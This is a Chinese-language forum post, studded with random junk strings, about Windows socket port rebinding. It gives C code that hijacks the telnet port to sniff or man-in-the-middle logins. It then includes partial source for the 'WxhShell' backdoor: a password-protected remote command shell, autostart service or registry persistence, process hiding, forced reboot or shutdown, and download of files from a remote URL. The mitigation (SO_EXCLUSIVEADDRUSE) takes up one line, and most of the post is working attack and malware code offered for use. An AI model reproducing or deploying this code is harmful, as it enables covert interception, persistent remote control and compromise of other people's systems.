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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E7.2T^o;M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P!H_1RwXKC  
l8I /0`_  
  saddr.sin_family = AF_INET;  swK-/$#  
F({HP)9b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Fh`~`eog  
/W>iJfx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $oj:e?8N  
PmKeF}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %>~sJ0  
4kBaB  
  这意味着什么?意味着可以进行如下的攻击: 2 lj'"nm  
MRb-H1+Xf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OR%'K2C6S  
Q4+gAS9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y~L2  
}s(N6a&(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~\Hc,5G  
EdlTdn@A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  { OXFN;2  
,q}ML TS i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H@q?v+2  
U*22h` S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ujlY! -GM  
_H j!2 '  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Xs~[&  
;_rF;9z9  
  #include $wo?!gt  
  #include }T&iewk  
  #include NYrQ$N"  
  #include    v6>_ j L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   | #47O  
  int main() {u#;?u=|  
  { +kzo*zW$L  
  WORD wVersionRequested; j@SQ~AS  
  DWORD ret; $npT[~U5  
  WSADATA wsaData; Dp)=0<$y  
  BOOL val; sg$rzT-S4  
  SOCKADDR_IN saddr; Tk5W'p|6f  
  SOCKADDR_IN scaddr; j!U-'zJ  
  int err; Dpl A?  
  SOCKET s; .P[ _<8  
  SOCKET sc; thifRd$4  
  int caddsize; :_g$.h%%  
  HANDLE mt; 4lKq{X5<  
  DWORD tid;   ?QFpv #4  
  wVersionRequested = MAKEWORD( 2, 2 ); wVEm:/;z&  
  err = WSAStartup( wVersionRequested, &wsaData ); AaWs}M  
  if ( err != 0 ) { m 8aITd8  
  printf("error!WSAStartup failed!\n"); [_1G@S6Ex  
  return -1; PE5R7)~A  
  } +RyjF~  
  saddr.sin_family = AF_INET; VXR>]HUF  
   v^d]~ !h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CF?1R  
(O.d>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v7iuL6jl  
  saddr.sin_port = htons(23); &e#~<Wm82  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jl#%uU/sx  
  { vb<oi&X  
  printf("error!socket failed!\n"); Y8-86 *zC  
  return -1; f;W|\z'  
  } LR".pH13  
  val = TRUE; nV-mPyfL8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^,/RO5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .k%[4:Fe  
  { ?~hHGf\^b6  
  printf("error!setsockopt failed!\n"); Qo;zHZ'  
  return -1; VJickXA  
  } {<R2UI5m5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8,? h~prc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {q `jDDM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +yk24 ` >  
g*03{l#P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6L"%e!be6  
  { Z0Vl+  
  ret=GetLastError(); |mGFts}0o'  
  printf("error!bind failed!\n"); $}>+kHoT{  
  return -1; +@p% p  
  } W-?()dX{  
  listen(s,2); E5I"%9X0H  
  while(1) 7 "20hAd  
  { -* WXMzr  
  caddsize = sizeof(scaddr); U%q7Ai7  
  //接受连接请求 = kJ,%\E`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :h\Q;?  
  if(sc!=INVALID_SOCKET) ?o81E2TJO  
  { gW)3e1a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a@@)6FM  
  if(mt==NULL) * +"9%&?  
  { 2jR r,Nl  
  printf("Thread Creat Failed!\n"); <}<zgOT[1!  
  break; =cm~vDl[  
  } lku[dQdk  
  } Ye2 {f"F  
  CloseHandle(mt); _AAaC_q  
  } /aZ+T5O  
  closesocket(s); VUPXO  
  WSACleanup(); "alyfyBu'M  
  return 0; x4;"!Kq\  
  }   ?[g=F <r  
  DWORD WINAPI ClientThread(LPVOID lpParam) y(CS5v#FG  
  { {khqu:HUn`  
  SOCKET ss = (SOCKET)lpParam; 5,_u/5Y4  
  SOCKET sc; UNom-  
  unsigned char buf[4096]; y9q8i(E0  
  SOCKADDR_IN saddr;  >qS9PX  
  long num; 5-aj 2>=7  
  DWORD val; x[h^[oF0  
  DWORD ret; rH_\ d?b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nqI@Y)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &7PG.Ff!r  
  saddr.sin_family = AF_INET; nExU#/*~^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wO'T BP  
  saddr.sin_port = htons(23); YG@t5j#b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w<Wf?aG  
  { YG3J$_?y0  
  printf("error!socket failed!\n"); 'gC_)rK*  
  return -1; kCR_tn 4  
  } o4m\~as)Y  
  val = 100; k5:G-BQ:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9 Vkb>yFX'  
  { Nl^;A> <u  
  ret = GetLastError(); $ M`hh{ -  
  return -1; M?Dfu .t  
  } DI:]GED" =  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NdMb)l)m  
  { nuk*.Su  
  ret = GetLastError(); =Xi07_8Ic<  
  return -1; 3Dng 1}  
  } :~2vJzp@?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2%LL Sa  
  { YB(Q\hT~\;  
  printf("error!socket connect failed!\n"); p1Jh0o8  
  closesocket(sc); b\yXbyjZ3.  
  closesocket(ss); 06O2:5zF  
  return -1; JMrEFk  
  } \NgYTZ  
  while(1) N5Q[nd  
  { c3 jx+Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,\_1w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,K9*%rW)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WI-&x '  
  num = recv(ss,buf,4096,0); % tS,}ze  
  if(num>0) /t+f{VX$  
  send(sc,buf,num,0); O(fM?4w  
  else if(num==0) "iy  
  break; %zG;Q@  
  num = recv(sc,buf,4096,0); TE3lK(f  
  if(num>0) tSr8 zAV  
  send(ss,buf,num,0); oI }VV6vO  
  else if(num==0) ?}wk.gt>  
  break; #M9~L[nF S  
  } "I3@m%qv  
  closesocket(ss); $"+djI?E9  
  closesocket(sc); B3We|oe!  
  return 0 ; rDm~h~u5  
  } 1oR7iD^  
Zq+v6fk_Mn  
>3p \m  
========================================================== [k.tWA,&  
cpL7!>^=  
下边附上一个代码,,WXhSHELL [xSF6  
t| g4m[kr  
========================================================== 2BQ j  
Cn,d?H  
#include "stdafx.h" z[b@ V  
iW$_zgN  
#include <stdio.h> d' !]ZWe  
#include <string.h> RIlwdt  
#include <windows.h> ]~9t Y n  
#include <winsock2.h> ZGexdc%  
#include <winsvc.h> (?n=33}Ci  
#include <urlmon.h> +ieY:H[  
@:+8?qcP  
#pragma comment (lib, "Ws2_32.lib") 6n,i0W  
#pragma comment (lib, "urlmon.lib") |:nn>E}ZA/  
cz >V8  
#define MAX_USER   100 // 最大客户端连接数 /)YNs7gR  
#define BUF_SOCK   200 // sock buffer , ]bhyp  
#define KEY_BUFF   255 // 输入 buffer :ci5r;^  
\hTm)-FP  
#define REBOOT     0   // 重启 &5\iM^  
#define SHUTDOWN   1   // 关机 dG@%jD)  
&v56#lG  
#define DEF_PORT   5000 // 监听端口 [4YTDEv%  
>"^ O"E  
#define REG_LEN     16   // 注册表键长度 Nv#t:J9f  
#define SVC_LEN     80   // NT服务名长度 ;Y 00TGU  
2^r <{0@n  
// 从dll定义API 6</xL9#/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zBCtd1Xrni  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A 9( x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3x`|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); * aN  
,k24w7K%d  
// wxhshell配置信息 V3&RJ k=b  
struct WSCFG { PC~Y8,A|.t  
  int ws_port;         // 监听端口 y&6FybIz  
  char ws_passstr[REG_LEN]; // 口令 `95r0t0hh\  
  int ws_autoins;       // 安装标记, 1=yes 0=no abuh`H#  
  char ws_regname[REG_LEN]; // 注册表键名 fY{1F   
  char ws_svcname[REG_LEN]; // 服务名 9Vg?{v!yn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;y,5k?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3k\#CiB{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g2BHHL;`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F}F&T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Lf16j*}-Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xnt~]k\"  
#jkf1"8C  
}; v&9y4\j  
FtpK)9/4  
// default Wxhshell configuration I4'5P}1yp  
struct WSCFG wscfg={DEF_PORT, )F}F_Y  
    "xuhuanlingzhe", Lb!Fcf|h  
    1, ?qP7Y nl  
    "Wxhshell", M\o9I  
    "Wxhshell", ZT'`hK_up  
            "WxhShell Service", M||+qd W!  
    "Wrsky Windows CmdShell Service", *{YlN}vA  
    "Please Input Your Password: ", Bc(Y(X$PK  
  1, 0]'7_vDs|  
  "http://www.wrsky.com/wxhshell.exe", \.0^n3y  
  "Wxhshell.exe" Jb0`42  
    }; %P<hW+P!  
{>}!+k -`  
// 消息定义模块 rV2WnAb[H&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -z-C*%~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *F+KqZ.2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g,Lq)'N;O  
char *msg_ws_ext="\n\rExit."; P2NQHX  
char *msg_ws_end="\n\rQuit."; ^|/TC!v]M  
char *msg_ws_boot="\n\rReboot...";  ]3x?  
char *msg_ws_poff="\n\rShutdown..."; \9cbI3rGz  
char *msg_ws_down="\n\rSave to "; HguT"%iv  
]_Vx{oT7  
char *msg_ws_err="\n\rErr!"; hW%TM3l}  
char *msg_ws_ok="\n\rOK!"; t#V!8EpBg  
(]Z_UTT  
char ExeFile[MAX_PATH]; /sUYU (3  
int nUser = 0; Ghu#XJB?  
HANDLE handles[MAX_USER]; h`]Iy  
int OsIsNt; u__9Z:+  
s(5Y  
SERVICE_STATUS       serviceStatus; ]GMe \n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jfP*"uUK  
rxe >}ZO  
// 函数声明 ],>@";9u"  
int Install(void); ?~l6K(*2  
int Uninstall(void); a+[RS]le  
int DownloadFile(char *sURL, SOCKET wsh); HU1h8E$-  
int Boot(int flag); n3T>QgK  
void HideProc(void); <Q3oT  
int GetOsVer(void); RU'=ERYC  
int Wxhshell(SOCKET wsl); Pj[PIz  
void TalkWithClient(void *cs); fX(3H1$"  
int CmdShell(SOCKET sock); {'N Z.  
int StartFromService(void); ls_'')yp  
int StartWxhshell(LPSTR lpCmdLine); cL-[ZvyVX  
}QN1|mP2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JUsQ,ETn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >NO[UX%yP  
D|lzGt  
// 数据结构和表定义 spGb!Y`mR  
SERVICE_TABLE_ENTRY DispatchTable[] = 5 f@)z"j  
{ ?L5zC+c!  
{wscfg.ws_svcname, NTServiceMain}, pf2[ , v/  
{NULL, NULL} b[sx_b  
}; XtXEB<4Z  
8Ry3`ct  
// 自我安装 &x=.$76  
int Install(void) i)o2klIkB  
{ 7yG#Z)VE  
  char svExeFile[MAX_PATH]; zbXI%  
  HKEY key; uX"H4l O~  
  strcpy(svExeFile,ExeFile); bh s5x  
:I"2V  
// 如果是win9x系统,修改注册表设为自启动 *!4Z#Y  
if(!OsIsNt) { rK@8/?y5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v V'EZ ?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ob+b<HFv  
  RegCloseKey(key); aB*Bz]5;E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5<iV2Hx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ) mI05  
  RegCloseKey(key); }Q)#[#e  
  return 0; ~t@cO.c  
    } \6S7T$$ 1m  
  } 6 +Sxr  
} z F_M*8=  
else { &LmJ!^#  
$Ad{Z  
// 如果是NT以上系统,安装为系统服务 Eav[/cU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2`AY~i9  
if (schSCManager!=0) ucuSe!IcX  
{ :lX!\(E2  
  SC_HANDLE schService = CreateService H;D>|q  
  ( Qwz}B  
  schSCManager, v&Ii^?CvO  
  wscfg.ws_svcname, f& 0M*o,)  
  wscfg.ws_svcdisp, qsF<!'m7`  
  SERVICE_ALL_ACCESS, wJg1Y0nh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W$QcDp]#p}  
  SERVICE_AUTO_START, [NQOrcAQ  
  SERVICE_ERROR_NORMAL, +ylTGSZS  
  svExeFile, PUz*!9HC  
  NULL, ZufR {^W  
  NULL, OGBHos  
  NULL, "HX<,l8f%  
  NULL, Qf58ig-vCY  
  NULL 2{M^,=^>  
  ); V GL aN%|  
  if (schService!=0) !*/*8re  
  { Nw:GCf-L  
  CloseServiceHandle(schService); yTyj'-4  
  CloseServiceHandle(schSCManager); cO-7ke  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  |$+3a  
  strcat(svExeFile,wscfg.ws_svcname); ZkgV_<M|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G=)i{oC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +QB"8-  
  RegCloseKey(key); IWBX'|}K  
  return 0; > pgX^  
    } jy7\+i  
  } MtM%{=&_  
  CloseServiceHandle(schSCManager); pEw"8U  
} O7u(}$D L  
} ]~844J p  
ioa U*%  
return 1; OHv[#xGuV?  
} BK*x] zG$  
|o,YCzy|5  
// 自我卸载 SD#]$v  
int Uninstall(void) M])ZK  
{ )W|w C#  
  HKEY key; -T!f,g3vW  
MU>k,:[  
if(!OsIsNt) { 1pQn8[sc@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Z[ft  
  RegDeleteValue(key,wscfg.ws_regname); w^(<N7B3T  
  RegCloseKey(key); ml2_ ]3j!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xE1 eT,  
  RegDeleteValue(key,wscfg.ws_regname); |yvQ[U~PQ  
  RegCloseKey(key); 2`.cK 3  
  return 0; hS_6  
  } ?=>+LqP  
} P<oehw'>  
} S(QpM.9*  
else { dCb`xR}  
| H!28h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KjV:|  
if (schSCManager!=0) "BD~xP(  
{ g! cUF+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R{RwTN<  
  if (schService!=0) R5"K]~  
  { |b[+I?X  
  if(DeleteService(schService)!=0) { L9-h;] x!  
  CloseServiceHandle(schService); Rn#KfI:{  
  CloseServiceHandle(schSCManager); $J4 *U  
  return 0; IOTR/anu  
  } I6~pV@h^=  
  CloseServiceHandle(schService); ~0?mBy!-O  
  } @HT% n  
  CloseServiceHandle(schSCManager); {-ZFp  
} jNu9KlN  
} Yaj0;Lo[wt  
INUG*JC6  
return 1; =b38(\  
} U0=]  
U93}-){m  
// 从指定url下载文件 ygOd69  
int DownloadFile(char *sURL, SOCKET wsh) l;af~ef)'  
{ Ok>gh2e[c  
  HRESULT hr; '"y|p+=j:  
char seps[]= "/"; A2^\q>_#  
char *token; jATI&oX  
char *file; cbeLu'DWB.  
char myURL[MAX_PATH]; "-_fv5jL  
char myFILE[MAX_PATH]; :z}MIuf  
ilK-?@u+  
strcpy(myURL,sURL); zs%Hb48V   
  token=strtok(myURL,seps); vesJEaw7  
  while(token!=NULL) L{:9Cx!F  
  { Tskq)NU  
    file=token; u83J@nDQ  
  token=strtok(NULL,seps); P-`M  
  } 5pU2|Bk /  
~i@Y|38C  
GetCurrentDirectory(MAX_PATH,myFILE); -D xL0:E  
strcat(myFILE, "\\"); -<Hu!V`+  
strcat(myFILE, file); C(S'#cm  
  send(wsh,myFILE,strlen(myFILE),0); 1<+2kBuY  
send(wsh,"...",3,0); x2@U.r"zo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0_k '.5l%  
  if(hr==S_OK) &GNxo$CG  
return 0; v4?x.I  
else Jwj%_<  
return 1; /V=24\1Ky  
6}75iIKi  
} ";BlIovT=R  
9V,!R{kO!  
// 系统电源模块 :*t"8;O[  
int Boot(int flag) =81@ o,1w  
{ 9 Yx]=n  
  HANDLE hToken; ;WgJ<&33  
  TOKEN_PRIVILEGES tkp; u583_k%  
$k0k k  
  if(OsIsNt) { pX/n)q[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zR `EU,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~)qtply  
    tkp.PrivilegeCount = 1; qud\K+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GFfq+=se  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o]Ol8I  
if(flag==REBOOT) { D,;\o7V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {D!6%`HKV+  
  return 0; Op"M.]#  
} o8zy^zN$6  
else { y'(Ne=y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M(RZ/x  
  return 0; /D5`   
} ;=geHiQHA  
  } I+Jm>XN  
  else { L,SGT8lL  
if(flag==REBOOT) { /R~1Zj2&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *4U^0e  
  return 0; Jo$G,Q  
} IGS1|  
else { rm4.aO~-F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vy_D>tp  
  return 0; '7D,m H  
} 9Rn? :B~W:  
} {n/uh0>f*  
; l&4V  
return 1; I/M_p^  
} 4 SHU  
Rop'e8Q  
// win9x进程隐藏模块 ZIPl7tTw  
void HideProc(void) _ ):d`O e  
{ [vMvV4,  
RaWG w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lrWV#`6!+  
  if ( hKernel != NULL ) &j?#3Qt'_  
  { S;~g3DC d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ix W@7m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t| 9 GS|  
    FreeLibrary(hKernel); %)[+%57{  
  } Jg]'+>,J  
0VckocF  
return; pWPIJ>2G:  
} A,V\"KU  
BYO"u6  
// 获取操作系统版本 chV9_(8  
int GetOsVer(void) "Vw m  
{ t<T[h2Wd  
  OSVERSIONINFO winfo; ( {1e%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AjJURn0`,!  
  GetVersionEx(&winfo); _<=S_ <$2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %{(x3\ *&  
  return 1; hX`hs- *qM  
  else o;W`4S^  
  return 0; $e\h}A6  
} 1z&Ly3  
cTD!B% x  
// 客户端句柄模块 uC8L\UXk  
int Wxhshell(SOCKET wsl) CbPuoOl  
{ +Vo}F  
  SOCKET wsh; #VB')^d<U  
  struct sockaddr_in client; AK= h[2(  
  DWORD myID; >$ NDv  
>*-FV{{  
  while(nUser<MAX_USER) lc2i`MC  
{ Z4A!U~  
  int nSize=sizeof(client); W%.v.0   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L KCb_9  
  if(wsh==INVALID_SOCKET) return 1; uch>AuF:  
p8kr/uMP ;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R)M_|ca  
if(handles[nUser]==0) f6_];]yP  
  closesocket(wsh); Xcrk;!IB?  
else pM{nh00[  
  nUser++; Z.W66\8~}^  
  } s[K^9wz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RlqQ  
&ISb~5  
  return 0; :Xn7Ha[f  
} !ALKSiSl  
Yk'9U-.mc  
// 关闭 socket PzV@umC1#f  
void CloseIt(SOCKET wsh) lz?;#U  
{ &?uz`pv2  
closesocket(wsh); HQUeWCN  
nUser--; .s<*'B7&  
ExitThread(0); v1|Bf8  
} J[A14z]#`  
eVt$7d?Jw  
// 客户端请求句柄 aWwPvd3  
void TalkWithClient(void *cs) R*oXmuOsYA  
{ Vs)--t  
>_c5r?]SG  
  SOCKET wsh=(SOCKET)cs; P+!"wX0*N  
  char pwd[SVC_LEN]; i]=&  
  char cmd[KEY_BUFF]; |\dZ'   
char chr[1]; 4-kZJ\]  
int i,j; !IC-)C,q  
bae\Zk%`^  
  while (nUser < MAX_USER) { }<>~sy  
1VF    
if(wscfg.ws_passstr) { nI/kw%<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3#vinz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "F3]X)}  
  //ZeroMemory(pwd,KEY_BUFF); HxB m~Lcqy  
      i=0; 3)ma\+< 6  
  while(i<SVC_LEN) { 28hHabd|  
d\H&dkpH  
  // 设置超时 gP-nluq  
  fd_set FdRead; 6vp *9  
  struct timeval TimeOut; n4R2^gXAw  
  FD_ZERO(&FdRead); t4q ej  
  FD_SET(wsh,&FdRead); 'DCFezdf3  
  TimeOut.tv_sec=8; 5jgdbHog]  
  TimeOut.tv_usec=0; j}BHj.YuP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); { F'Kk\f%:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?\U!huu  
yJsH=5A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &f>eQ S=(  
  pwd=chr[0]; l{:a1^[>y  
  if(chr[0]==0xd || chr[0]==0xa) { 8K;Y2 #  
  pwd=0; GyW.2  
  break; =?])['VaA  
  } fQ'.8'>T  
  i++; 0l=+$& D  
    } P_gYz!  
zf.- I  
  // 如果是非法用户,关闭 socket H{?9CxYa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j}F-Xs+  
} fa&-. *  
>S1)YKgz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'q>2t}KG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .}k(L4T|=  
nx:KoB"ny  
while(1) { FP#FB$eP  
.lBgp=!  
  ZeroMemory(cmd,KEY_BUFF); !)qQbk  
e8h,,:l3j  
      // 自动支持客户端 telnet标准   '~ 4pl0TWc  
  j=0; vBvNu<v7te  
  while(j<KEY_BUFF) { [EY`am8[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nRb^<cZf  
  cmd[j]=chr[0]; BPqGJ7@  
  if(chr[0]==0xa || chr[0]==0xd) { [U8$HQ+x  
  cmd[j]=0; 1z*kc)=JF8  
  break; b?Pj< tA  
  } -h-oMqgu(  
  j++; >r)X:K+I  
    } TwvAj#j  
C#i UP|7hh  
  // 下载文件 :%JC^dV(  
  if(strstr(cmd,"http://")) { T#!lPH :&h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T;\^#1  
  if(DownloadFile(cmd,wsh)) C}?0`!Cc%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xM s]Hs  
  else /u`3VOn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WlV z,t'if  
  } F?u^"}%Fc  
  else { y^Vw`-e  
1ndJ+H0H  
    switch(cmd[0]) { w %c  
  maSgRf[g  
  // 帮助 1%J.WH6eQ  
  case '?': { `Zz uo16  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;pJ2V2 g8  
    break; ogeL[7  
  } h?UVDzI!O  
  // 安装 a :HNg  
  case 'i': { ;`v% sx#  
    if(Install()) }:z5t,u6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h:/1X' 3d  
    else Y\+KoR' ;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [m'CR 4(|  
    break; 2.Yi( r  
    } HFo-4"  
  // 卸载 +VU4s$w6  
  case 'r': { c 5`US  
    if(Uninstall()) 68R1AqU_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~V)?>)T  
    else 0{^H]Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x.$1<w64t  
    break; Qbeeq6  
    } zz_[S{v!#  
  // 显示 wxhshell 所在路径 ?4z8)E9Ju  
  case 'p': { %G?K@5?j?  
    char svExeFile[MAX_PATH]; kII7z;<^`  
    strcpy(svExeFile,"\n\r"); RbQ <m!A  
      strcat(svExeFile,ExeFile); pKJK9@Ad  
        send(wsh,svExeFile,strlen(svExeFile),0); LD(C\  
    break; V/"}ku  
    } /&Jv,[2kV  
  // 重启 z,*:x4}F  
  case 'b': { }qC SS<a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V`fL%du,3  
    if(Boot(REBOOT)) w@]jpH;WX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mVm4fHEYwU  
    else { Rt= X% [YL  
    closesocket(wsh); J(h3]J/Yw  
    ExitThread(0); Q e1oT)  
    } #Ws 53mT  
    break; 6E9N(kFYs  
    } 5M?mYNQR/H  
  // 关机 X<MpN5%|Wo  
  case 'd': { y7zkAXhJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IG.f=+<0  
